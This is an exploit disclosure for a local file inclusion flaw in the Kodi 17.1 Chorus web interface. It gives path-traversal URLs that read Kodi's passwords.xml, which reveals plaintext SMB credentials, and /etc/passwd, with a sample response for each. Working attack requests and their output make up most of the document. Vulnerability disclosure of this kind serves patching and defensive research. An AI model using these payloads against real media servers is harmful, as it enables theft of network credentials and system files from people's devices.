- # Exploit Title: Kodi - Local File Inclusion
- # Date: 12 February 2017
- # Exploit Author: Eric Flokstra
- # Vendor Homepage: https://kodi.tv/
- # Software Link: https://kodi.tv/download/
- # Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2
- # Tested on: Linux
- Kodi (formerly XBMC) is a free and open-source media player software
- application developed by the XBMC Foundation. Chorus is a web interface
- for controlling and interacting with Kodi. It is hosted by the Kodi
- installation.
- The web interface loads a thumbnail of an image, video or add-on when
- selecting a category in the left menu with the following request:
- http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F
- Insufficient validation of user input is performed on this URL resulting
- in a local file inclusion vulnerability. This enables attackers
- to retrieve arbitrary files from the filesystem by changing the location
- after the '/image/image%3A%2F%2Fâ part.
- <--Examples-->
- 1) If Kodi is connected to a NAS the following request can be used to obtain plain text SMB credentials:
- http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml
- Response:
- <passwords><path><from pathversion="1">smb://192.168.1.15/</from><to
- pathversion="1">smb://username:password@192.168.1.15//share</to></path></passwords>
- 2) Request to retrieve the content of /etc/passwd:
- http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd
- Response:
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
